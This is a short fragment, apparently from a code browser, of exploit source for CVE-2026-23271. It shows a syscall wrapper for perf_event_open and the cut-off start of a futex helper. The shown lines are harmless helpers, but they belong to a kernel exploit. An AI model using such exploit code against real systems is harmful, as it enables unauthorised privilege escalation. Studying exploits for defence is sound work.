Function perf_event_open

CVE-2026-23271/exploit/exploit.cpp:416–420

};

static long perf_event_open(struct perf_event_attr *hw_event, pid_t pid,
                            int cpu, int group_fd, unsigned long flags)
{
    return syscall(__NR_perf_event_open, hw_event, pid, cpu, group_fd, flags);
}

static long do_futex(volatile int *uaddr, int futex_op, int val,
                     const struct timespec *timeout,